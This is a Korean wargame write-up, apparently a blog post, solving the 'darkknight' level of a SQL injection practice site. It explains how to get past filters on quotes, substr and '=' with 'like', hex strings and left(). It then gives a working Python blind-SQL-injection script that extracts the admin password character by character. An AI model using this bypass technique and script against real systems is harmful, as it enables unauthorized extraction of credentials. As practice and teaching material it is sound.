pw 는 '(single quarter)만 필터링을 합니다.
no 는 '(single quarter), substr, ascii, = 를 필터링 합니다.
때문에 '(single quarter)도 우회하고 substr도 우회하는 것이 중요합니다.
![](https://t1.daumcdn.net/cfile/tistory/9908413C5BB8AD7825)
우선 pw에는 많은 필터링이 걸리지 않았지만 '(single quarter)가 필터링 되어 다루기 애매하므로 '(single quarter)가 없는 no에서 수행합니다.
= 대신에 like를 이용해 참으로 만들어 보면 "Hello guest"가 나옵니다.
![](https://t1.daumcdn.net/cfile/tistory/9918603C5BB8AD7911)
"admin"이 필요하므로 id like 'admin'을 해서 "admin"을 만들어야 하는데 '(single quarter)가 필터링 되어있으니 Hex값으로 변경 후 전송합니다.
admin의 Hex값은 0x61646d696e 입니다. (참고로 'admin'을 hex로 바꾸는 것이 아닙니다.)
![](https://t1.daumcdn.net/cfile/tistory/998AE03C5BB8AD7A1C)
위의 내용을 바탕으로 Python 코드를 작성해봅니다.
'substr'가 필터링 되어있기 때문에 앞선 문제처럼 substring()을 사용할 수는 없습니다.
대신 left() 함수를 이용해서 왼쪽부터 한 글자씩 차례대로 알아내면 됩니다.
여기서 '(single quarter)가 필터링 되어있고 left()함수로 나오는 값은 문자열이기에 결국 '(single quarter)가 필요합니다.
그래서 대신 "(double quarter)로 사용하면 대체할 수 있습니다.
python 코드에서 문자열을 묶을 때 "(double quarter)로 보통 사용하는데 이번 만큼은 '(single quarter)로 대신 묶어줍니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | import requests cookies= {'PHPSESSID':'YourCookieValue'} url = 'https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?' password = '' length = 0
#pw 길이 구하기 for i in range(1,99): query = "no=1 or id like 0x61646d696e %26%26 length(pw) like "+str(i) payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): length = i print("length: "+str(length)) break #pw 구하기 for i in range(1,length+1): for j in range(48,127): query = "no=1 or id like 0x61646d696e %26%26 left(pw,"+str(i)+') like "'+password+chr(j)+'"' payload = url+query print (payload) res = requests.get(payload, cookies=cookies) if((res.text).find("Hello admin")>0): password += chr(j) print("password: "+password) break print ("password : "+password) | cs |
![](https://t1.daumcdn.net/cfile/tistory/993C043C5BB8AD7B0E)